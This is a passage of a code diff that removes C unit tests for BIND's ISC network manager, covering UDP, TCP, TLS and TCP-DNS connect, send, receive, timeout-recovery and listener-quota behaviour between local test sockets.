-	 * Listen using the noop callback so that client reads will time out.
-	 */
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, noop_recv_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Connect with client timeout set to 0.05 seconds, then sleep for at
-	 * least a second for each 'tick'. timeout_retry_cb() will give up
-	 * after five timeouts.
-	 */
-	connect_readcb = timeout_retry_cb;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_SOFT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_GE(csends, 1);
-	WAIT_FOR_GE(csends, 2);
-	WAIT_FOR_GE(csends, 3);
-	WAIT_FOR_GE(csends, 4);
-	WAIT_FOR_EQ(csends, 5);
-	WAIT_FOR_EQ(ctimeouts, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-udp_recv_one(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 1);
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 1);
-	WAIT_FOR_EQ(sreads, 1);
-	WAIT_FOR_EQ(ssends, 0);
-	WAIT_FOR_EQ(creads, 0);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 1);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-udp_recv_two(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 2);
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_udpconnect(connect_nm, &udp_connect_addr, &udp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 2);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 2);
-	WAIT_FOR_EQ(sreads, 2);
-	WAIT_FOR_EQ(ssends, 1);
-	WAIT_FOR_EQ(creads, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 2);
-	atomic_assert_int_eq(csends, 2);
-	atomic_assert_int_eq(creads, 1);
-	atomic_assert_int_eq(sreads, 2);
-	atomic_assert_int_eq(ssends, 1);
-}
-
-static void
-udp_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, udp_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends);
-	WAIT_FOR_GE(csends, esends);
-	WAIT_FOR_GE(sreads, esends);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_FULL(creads);
-	CHECK_RANGE_FULL(sreads);
-	CHECK_RANGE_FULL(ssends);
-}
-
-static void
-udp_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, udp_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-udp_half_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, udp_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	/* Try to send a little while longer */
-	isc_test_nap((esends / 2) * 10000);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-udp_half_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listenudp(listen_nm, &udp_listen_addr, listen_read_cb,
-				  NULL, 0, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, udp_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-/* Common stream protocols code */
-
-static isc_quota_t *
-tcp_listener_init_quota(size_t nthreads) {
-	isc_quota_t *quotap = NULL;
-	if (atomic_load(&check_listener_quota)) {
-		unsigned max_quota = ISC_MAX(nthreads / 2, 1);
-		isc_quota_max(&listener_quota, max_quota);
-		quotap = &listener_quota;
-	}
-	return (quotap);
-}
-
-static void
-tcp_connect(isc_nm_t *nm) {
-	isc_nm_tcpconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
-			  connect_connect_cb, NULL, T_CONNECT, 0);
-}
-
-static void
-tls_connect(isc_nm_t *nm);
-
-static stream_connect_function
-get_stream_connect_function(void) {
-	if (stream_use_TLS) {
-		return (tls_connect);
-	}
-	return (tcp_connect);
-}
-
-static isc_result_t
-stream_listen(isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-	      size_t extrahandlesize, int backlog, isc_quota_t *quota,
-	      isc_nmsocket_t **sockp) {
-	isc_result_t result = ISC_R_SUCCESS;
-	if (stream_use_TLS) {
-		result = isc_nm_listentls(listen_nm, &tcp_listen_addr,
-					  accept_cb, accept_cbarg,
-					  extrahandlesize, backlog, quota,
-					  tcp_listen_tlsctx, sockp);
-	} else {
-		result = isc_nm_listentcp(
-			listen_nm, &tcp_listen_addr, accept_cb, accept_cbarg,
-			extrahandlesize, backlog, quota, sockp);
-	}
-
-	return (result);
-}
-
-static void
-stream_connect(isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-	       size_t extrahandlesize) {
-	if (stream_use_TLS) {
-		isc_nm_tlsconnect(connect_nm, &tcp_connect_addr,
-				  &tcp_listen_addr, cb, cbarg,
-				  tcp_connect_tlsctx, timeout, extrahandlesize);
-	} else {
-		isc_nm_tcpconnect(connect_nm, &tcp_connect_addr,
-				  &tcp_listen_addr, cb, cbarg, timeout,
-				  extrahandlesize);
-	}
-}
-
-static void
-stream_noop(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = stream_listen(noop_accept_cb, NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	atomic_assert_int_eq(cconnects, 0);
-	atomic_assert_int_eq(csends, 0);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-stream_noresponse(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = stream_listen(noop_accept_cb, NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_EQ(csends, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-stream_timeout_recovery(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	SKIP_IN_CI;
-
-	/*
-	 * Accept connections but don't send responses, forcing client
-	 * reads to time out.
-	 */
-	noanswer = true;
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, NULL,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Shorten all the client timeouts to 0.05 seconds.
-	 */
-	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
-	connect_readcb = timeout_retry_cb;
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_SOFT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_GE(csends, 1);
-	WAIT_FOR_GE(csends, 2);
-	WAIT_FOR_GE(csends, 3);
-	WAIT_FOR_GE(csends, 4);
-	WAIT_FOR_EQ(csends, 5);
-	WAIT_FOR_EQ(ctimeouts, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-stream_recv_one(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_quota_t *quotap = tcp_listener_init_quota(1);
-
-	atomic_store(&nsends, 1);
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 1);
-	WAIT_FOR_EQ(sreads, 1);
-	WAIT_FOR_EQ(ssends, 0);
-	WAIT_FOR_EQ(creads, 0);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 1);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-stream_recv_two(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_quota_t *quotap = tcp_listener_init_quota(1);
-
-	atomic_store(&nsends, 2);
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-
-	isc_refcount_increment0(&active_cconnects);
-	stream_connect(connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 2);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 2);
-	WAIT_FOR_EQ(sreads, 2);
-	WAIT_FOR_EQ(ssends, 1);
-	WAIT_FOR_EQ(creads, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 2);
-	atomic_assert_int_eq(csends, 2);
-	atomic_assert_int_eq(creads, 1);
-	atomic_assert_int_eq(sreads, 2);
-	atomic_assert_int_eq(ssends, 1);
-}
-
-static void
-stream_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-	isc_quota_t *quotap = tcp_listener_init_quota(workers);
-
-	SKIP_IN_CI;
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, get_stream_connect_function(),
-				  &threads[i]);
-	}
-
-	if (allow_send_back) {
-		WAIT_FOR_GE(cconnects, 1);
-	} else {
-		WAIT_FOR_GE(cconnects, esends);
-	}
-	WAIT_FOR_GE(csends, esends);
-	WAIT_FOR_GE(sreads, esends);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_FULL(creads);
-	CHECK_RANGE_FULL(sreads);
-	CHECK_RANGE_FULL(ssends);
-}
-
-static void
-stream_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-	isc_quota_t *quotap = tcp_listener_init_quota(workers);
-
-	SKIP_IN_CI;
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, get_stream_connect_function(),
-				  &threads[i]);
-	}
-
-	if (allow_send_back) {
-		WAIT_FOR_GE(cconnects, 1);
-	} else {
-		WAIT_FOR_GE(cconnects, esends / 2);
-	}
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-stream_half_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-	isc_quota_t *quotap = tcp_listener_init_quota(workers);
-
-	SKIP_IN_CI;
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, get_stream_connect_function(),
-				  &threads[i]);
-	}
-
-	if (allow_send_back) {
-		WAIT_FOR_GE(cconnects, 1);
-	} else {
-		WAIT_FOR_GE(cconnects, esends / 2);
-	}
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	/* Try to send a little while longer */
-	isc_test_nap((esends / 2) * 10000);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-stream_half_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-	isc_quota_t *quotap = tcp_listener_init_quota(workers);
-
-	SKIP_IN_CI;
-
-	result = stream_listen(stream_accept_cb, NULL, 0, 0, quotap,
-			       &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, get_stream_connect_function(),
-				  &threads[i]);
-	}
-
-	if (allow_send_back) {
-		WAIT_FOR_GE(cconnects, 1);
-	} else {
-		WAIT_FOR_GE(cconnects, esends / 2);
-	}
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-/* TCP */
-static void
-tcp_noop(void **state) {
-	stream_noop(state);
-}
-
-static void
-tcp_noresponse(void **state) {
-	stream_noresponse(state);
-}
-
-static void
-tcp_timeout_recovery(void **state) {
-	stream_timeout_recovery(state);
-}
-
-static void
-tcp_recv_one(void **state) {
-	stream_recv_one(state);
-}
-
-static void
-tcp_recv_two(void **state) {
-	stream_recv_two(state);
-}
-
-static void
-tcp_recv_send(void **state) {
-	SKIP_IN_CI;
-	stream_recv_send(state);
-}
-
-static void
-tcp_recv_half_send(void **state) {
-	SKIP_IN_CI;
-	stream_recv_half_send(state);
-}
-
-static void
-tcp_half_recv_send(void **state) {
-	SKIP_IN_CI;
-	stream_half_recv_send(state);
-}
-
-static void
-tcp_half_recv_half_send(void **state) {
-	SKIP_IN_CI;
-	stream_half_recv_half_send(state);
-}
-
-static void
-tcp_recv_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_recv_send(state);
-}
-
-static void
-tcp_recv_half_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_recv_half_send(state);
-}
-
-static void
-tcp_half_recv_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_half_recv_send(state);
-}
-
-static void
-tcp_half_recv_half_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_half_recv_half_send(state);
-}
-
-/* TCP Quota */
-
-static void
-tcp_recv_one_quota(void **state) {
-	atomic_store(&check_listener_quota, true);
-	stream_recv_one(state);
-}
-
-static void
-tcp_recv_two_quota(void **state) {
-	atomic_store(&check_listener_quota, true);
-	stream_recv_two(state);
-}
-
-static void
-tcp_recv_send_quota(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_send(state);
-}
-
-static void
-tcp_recv_half_send_quota(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_half_send(state);
-}
-
-static void
-tcp_half_recv_send_quota(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_send(state);
-}
-
-static void
-tcp_half_recv_half_send_quota(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_half_send(state);
-}
-
-static void
-tcp_recv_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	allow_send_back = true;
-	stream_recv_send(state);
-}
-
-static void
-tcp_recv_half_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	allow_send_back = true;
-	stream_recv_half_send(state);
-}
-
-static void
-tcp_half_recv_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	allow_send_back = true;
-	stream_half_recv_send(state);
-}
-
-static void
-tcp_half_recv_half_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	atomic_store(&check_listener_quota, true);
-	allow_send_back = true;
-	stream_half_recv_half_send(state);
-}
-
-/* TCPDNS */
-
-static void
-tcpdns_connect(isc_nm_t *nm) {
-	isc_nm_tcpdnsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-}
-
-static void
-tcpdns_noop(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr, noop_recv_cb,
-				     NULL, noop_accept_cb, NULL, 0, 0, NULL,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-	isc__netmgr_shutdown(connect_nm);
-
-	atomic_assert_int_eq(cconnects, 0);
-	atomic_assert_int_eq(csends, 0);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tcpdns_noresponse(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	isc_refcount_increment0(&active_cconnects);
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr, noop_recv_cb,
-				     NULL, noop_accept_cb, NULL, 0, 0, NULL,
-				     &listen_sock);
-	if (result != ISC_R_SUCCESS) {
-		isc_refcount_decrement(&active_cconnects);
-		isc_test_nap(1000);
-	}
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_EQ(csends, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tcpdns_timeout_recovery(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	SKIP_IN_CI;
-
-	/*
-	 * Accept connections but don't send responses, forcing client
-	 * reads to time out.
-	 */
-	noanswer = true;
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Shorten all the TCP client timeouts to 0.05 seconds, connect,
-	 * then sleep for at least a second for each 'tick'.
-	 * timeout_retry_cb() will give up after five timeouts.
-	 */
-	connect_readcb = timeout_retry_cb;
-	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_SOFT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_GE(csends, 1);
-	WAIT_FOR_GE(csends, 2);
-	WAIT_FOR_GE(csends, 3);
-	WAIT_FOR_GE(csends, 4);
-	WAIT_FOR_EQ(csends, 5);
-	WAIT_FOR_EQ(ctimeouts, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
